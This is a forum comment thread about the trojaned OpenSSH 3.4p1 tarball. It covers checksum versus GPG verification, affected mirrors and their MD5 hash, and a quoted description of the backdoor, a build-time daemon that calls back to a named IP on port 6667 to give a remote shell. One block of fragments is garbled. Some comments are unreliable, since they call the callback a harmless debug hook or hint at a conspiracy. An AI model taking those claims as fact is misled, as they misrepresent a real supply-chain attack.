There is a good side to all this, though. I actually give money to OpenBSD (not a lot, but it's something) because I want somebody out there doing OS and OS-related stuff, to be over-the-top paranoid, and I think OpenBSD is the right team (I guess they've got the best slogans). I selfishly want more secure tools to get into circulation, so that I can be among those who use them. And from that perspective, this incident is a fscking godsend, because I think it might result in people starting to adopt some better habits, which will also require some better tools and social networks:
The solution to this trojan problem is not for people to start checking the MD5 sum on their tarballs. If you can't trust an FTP server to give you an unaltered file, then you can't trust a web server to give you a web page with an unaltered MD5 sum. Surely this is common sense?
The real solution is digital signatures (i.e. an MD5 sum encrypted with a private key). And for that to really work, we're going to have to build up a web of trust, so that people will know whether or not they really have a publisher's public key, or an imposter's. Maybe this will get us a little closer to the day when I can encrypt every email I send, and have to decrypt ever email I receive, except for the spam which gets thrown away automatically since it's the only thing that isn't signed by someone accountable.
It is hard to get people to use GPG. Real hard. Try convincing a friend (I mean a geeky friend; non-geeks are impossible) to use it, or try to organize a signing party sometime. I don't know why there's so much resistance and apathy, but it's there. We need all the help we can get, and today we got some.
As copyright owner of this comment, I authorize everyone to defeat any technological measure which limits access to it.
I don't know when the trojan appeared exactly, but as one who uses Gentoo at both work and at home, I can attest to the following:
- Gentoo mirrors the source tarball at ibiblio and elsewhere, the current ssh being 3.4p1
- The MD5sum for the Gentoo ebuild is correct
- The mirrored tarball is also correct
- I've had no trouble installing the current openssh over the last several days
- I have personally verified the md5sums on each machine, not one of them contained the trojaned version, confirming that Gentoo's ebuild system did in fact correctly check the md5sum, had the correct md5sum, and had the correct source tarball.
We still need to have each ebuild, and IMHO each tarball, GPG signed by the appropriate developer, with separate third party trusted sources for the public keychain (and the ability to purchase the keychain on CD-Rom from trusted sources for the ultra-paranoid). I've been grousing about this off and on for over a year now (in Debian, later Source Mage, and now Gentoo, all of which need to address this. Maybe now they will.)The Future of Human Evolution: Autonomy
-- This never would have happened if someone in our development group hadn't been irresponsible enough to install NetBSD on that CVS machine.
Well, then it is your fault. Flaming NetBSD doesn't change the fact that someone associated with OpenBSD made an error in judgement.
N.B. I use and love OpenBSD, but I also expect people (including myself) to 'fess up to thier mistakes.
I'm a big fan of OpenBSD and all, but point of order: ssh is NOT in the OpenBSD ports tree, which is why the vulnerability was discovered by a FreeBSD guy (its in their ports tree). I haven't heard how far this thing got into the OpenBSD system, for instance if it got into the patch branch. Maybe I'm missing something, but it seems to me that if it did get into the OpenBSD cvs tree, no amount of md5sums would help us.
Probably because they hope it won't raise much suspicion. Using 1337, 31337, etc would be like waving a flag.
If it'd be up to me, I'd use one of the less known ip protocols.
Oh, like we should all believe some Anonymous Coward... it's well-known that Theo has a grudge against the other BSDs, especially NetBSD... I remember when he was threatening to crapflood the NetBSD and FreeBSD mailing lists through an anonymous remailer.
Check out http://www.openssh.org/txt/trojan.adv
The world doesn't need you.
It only shows how many people _who are interested in your packages_ check the md5/pgp key.
I don't think most servers, especially important and secure ones, run a mp3/ogg streamer. That would be home users, mostly. Joe 'admin' Sixpack. And well... 'nuff said.
as I do on my private Linux box, and you don't get this type of crap, nor the last security hole related to OpenSSH, which never did exist in the non-commercial SSH.com version which is free for all to use for non-profit(evaluation) purposes. It is freely available for download through SSH.com (source or binary I believe). One too many goofs with OpenSSH recently...as far as I'm concerned. Maybe I'm paranoid... but so what? So is everyone else.
'A lie if repeated often enough, becomes the truth.' - Goebbels
I just rebuilt OpenSSH-portable yesterday on my FreeBSD box, finally getting around to addressing the newest vulnerabilities in 3.3.
I did a cvsup of the entire ports tree, then built OpenSSH-portable-3.4p1 as root. The build went fine; no MD5 checksum problems were reported. Did I get in just after the problem had been fixed, or am I screwed?
BTW, pkg_info now reports that I have openssh-portable-3.4p1 installed alongside openssh-portable-3.3 (the last version I built from ports). Is this a problem? If so, how do I fix it?
Schwab
Editor, A1-AAA AmeriCaptions
hi, anonoymous coward here.
if you research the user who posted that comment, you'll find that (s)he is not in fact Mr de Raadt.
cute.
sic transit gloria mundi
Binary? Everybody here is talking about source code.
If you look at the parent author's posting history, you'll see that he is nothing more than a troll who fools people into thinking that he is Theo. (Incidentally, the name is "Theo de Raadt", not "Theo DeRaadt".)
Please mod the parent into oblivion.
Tarsnap: Online backups for the truly paranoid
Hopefully, this has already been posted by the orginal emailer, but Tomi Nylund posted a list on bugtraq list with a list of affected servers.
t ab le/openssh-3.4p1.tar.gz)= . 4p 1.tar.gz)= e nB SD/OpenSSH/portable/openssh-3.4p1.tar.gz)= p en ssh-3.4p1.tar.gz)= o pe nssh-3.4p1.tar.gz)= g /p ub/OpenBSD/OpenSSH/portable/openssh-3.4p1.tar.gz)= . 4p 1.tar.gz)= l e/ openssh-3.4p1.tar.gz)= r ta ble/openssh-3.4p1.tar.gz)= l e/ openssh-3.4p1.tar.gz)= r ta ble/openssh-3.4p1.tar.gz)= o m/ pub/OpenBSD/OpenSSH/portable/openssh-3.4p1.tar.gz) = l e/ openssh-3.4p1.tar.gz)= l e/ openssh-3.4p1.tar.gz)= p en SSH/portable/openssh-3.4p1.tar.gz)= S H/ portable/openssh-3.4p1.tar.gz)= o pe nssh-3.4p1.tar.gz)= S SH /portable/openssh-3.4p1.tar.gz)= p or table/openssh-3.4p1.tar.gz)= t ab le/openssh-3.4p1.tar.gz)=
"Anyways, we did some research here at Oulu regarding the propagation of
the
trojaned OpenSSH-3.4p1.tar.gz, and found out the following:
Trojaned mirrors:
3ac9bc346d736b4a51d676faa2a08a57
MD5
(./ftp.club-internet.fr/pub/OpenBSD/OpenSSH/por
3ac9bc346d736b4a51d676faa2a08a57
MD5(./ftp.easynet.be/openssh/portable/openssh-3
3ac9bc346d736b4a51d676faa2a08a57
MD5(./ftp.freenet.de/pub/ftp.openbsd.org/pub/Op
3ac9bc346d736b4a51d676faa2a08a57
MD5(./ftp.fsn.hu/pub/OpenBSD/OpenSSH/portable/o
3ac9bc346d736b4a51d676faa2a08a57
MD5(./ftp.inet.no/pub/OpenBSD/OpenSSH/portable/
3ac9bc346d736b4a51d676faa2a08a57
MD5(./ftp.isu.net.sa/pub/mirrors/ftp.openbsd.or
3ac9bc346d736b4a51d676faa2a08a57 MD5
(./ftp.jaquet.dk/pub/openSSH/portable/openssh-3
3ac9bc346d736b4a51d676faa2a08a57
MD5(./ftp.openbsd.cz/pub/OpenBSD/OpenSSH/portab
3ac9bc346d736b4a51d676faa2a08a57
MD5(./ftp.openbsd.org.br/pub/OpenBSD/OpenSSH/po
3ac9bc346d736b4a51d676faa2a08a57
MD5(./ftp.openbsd.ru/pub/OpenBSD/OpenSSH/portab
3ac9bc346d736b4a51d676faa2a08a57
MD5(./ftp.sajinet.com.pe/pub/OpenBSD/OpenSSH/po
3ac9bc346d736b4a51d676faa2a08a57
MD5(./ftp.stealth.net/pub/mirrors/ftp.openssh.c
3ac9bc346d736b4a51d676faa2a08a57
MD5(./ftp.tku.edu.tw/pub/OpenBSD/OpenSSH/portab
3ac9bc346d736b4a51d676faa2a08a57
MD5(./ftp.uninett.no/pub/OpenBSD/OpenSSH/portab
3ac9bc346d736b4a51d676faa2a08a57
MD5(./ftp.volftp.mondadori.com/mirror/openbsd/O
3ac9bc346d736b4a51d676faa2a08a57
MD5(./ftp7.usa.openbsd.org/pub/os/OpenBSD/OpenS
3ac9bc346d736b4a51d676faa2a08a57
MD5(./hal.csd.auth.gr/mirrors/OpenSSH/portable/
3ac9bc346d736b4a51d676faa2a08a57
MD5(./openbsd.csie.nctu.edu.tw/pub/OpenBSD/Open
3ac9bc346d736b4a51d676faa2a08a57
MD5(./openbsd.nsysu.edu.tw/pub/OpenBSD/OpenSSH/
3ac9bc346d736b4a51d676faa2a08a57
MD5(./openbsd.rug.ac.be/pub/OpenBSD/OpenSSH/por
"
forget it.
Seriously though, does anyone know how it happened yet? I have seen lots of talk about the trojan but nothing about how the trojan got there in the first place. This seems like it could be the tip of the iceberg.
> It compiles a daemon that tries to contact 203.62.158.32 on port 6667 and offers a remote shell for the user compiling the package. After that all files involved are removed and the makefile changed to the original one.
This sounds like a fairly conventional sort of debug hook. Connect back to the source archive where there are lots of debug and alpha-release goodies, let the installer download stuff, and compile it all into the binaries. Just what you'd want when you're developing stuff and want to make it easy to install on test machines.
I've also sometimes forgotten to remove the debug hooks.
Those who do study history are doomed to stand helplessly by while everyone else repeats it.
No, this is _not_ flamebait, just my 2 cents :-)
Is there a new "blackhat" 0day exploit circulating that never appeared on Bugtraq ?
This is the second time the obsd-team is being targetted by hackers unknown, the first time with an unexpected exploit in Apache with a followup-0wning of monkey.org and subsequent backdooring of the dsniff/fragrouter sources (which i'm sure everybody knows about by now), and now the OpenSSH sources gets backdoored, and somebody in the obsd-team will vigourosly defend their honor and will claim that some local exploit was used to gain access. C'mon, i'm sure these security-minded people will have their system secure...
History keeps repeating itself..
Bodø community site
I am glad to hear that nerds are using protection during SSH. The fear of STDs is a major factor these days, especially with multiple partners.
SCO (noun.)- A Slimy Corporate Ogre. Often seeks free money.
Work with me on this one.
The release is trojaned.
The first guy to be openly curious about it in the wild is Mav. Out of the tens of thousands that might have gotten it alredy.
Mav goes and seeks input from his mate Sarge.
Sarge just happens to be the owner of the box that is the callback for this trojan.
Mav posts to slashdot, giving some of the discovery credit to Sarge.
I am just asking, exactly how unlikely do the odds have to be before you got to accept that it is obviously something more than freak coincidence.
Nathan...
Does anyone have an idea whether the cygwin sshd is affected? 3.4p1 is the current version, and they may have built it based upon the trojaned source. I don't know where these guys get their source from.
GekkePrutser
It answer inverse DNS with "203.62.158.32".
An engineer who ran for Congress. http://herbrobinson.us
WHo's the Larry Niven fan then?
...Upgrade now to Schrodingers Dog...
why now? this whole episode seems to be a good example of the current system working well... tarball trojaned, ports system detects md5 mismatch, no compromise, no problem.
Yes, and No.
Yes, in that it showed the strength of free software's openness with information, such that as soon as one person noticed something funny, the news got out and the trojan averted.
No, because in fact we just got really, really lucky. If the MD5sum hadn't been located on a different (uncompromised) server, the attacker(s) could have changed the MD5sum as well, and it might have been weeks, months, or longer before anyone noticed. My bet is on weeks, since someone would have poked at the code, but one can never be sure.
In other words, the current approach didn't really work, it just got lucky. MD5sums are great for identifying corrupt data or incomplete downloads, but they are neither designed for, nor good at, identifying hostile, deliberate sabatage.
GPG signatures, on the other hand, combine the strengths of MD5sums with the ability to immediately recognize a file that has been placed in an archive by someone other then the recognized, official developer, and would have prevented this entire thing regardless of where the signature is located (assuming the keys themselves are properly managed: available on multiple, independent keyservers, downloadable from multiple archive sites like ibiblio, etc., and available for purchase on CDROM for the ultra-paranoid).
The Future of Human Evolution: Autonomy
ahem, never have i used the three letter expression L O L, and my fingers are quite small. And besides I star at http://www.pimpworks.org/oof.jpg
not unclear, just don't do that enough to warrant my care. telnet (popsite) 110 or pine isn't done by me enough. Obviously it's not that tough to figure out.
-- This space for lease, low setup fee, inquire within!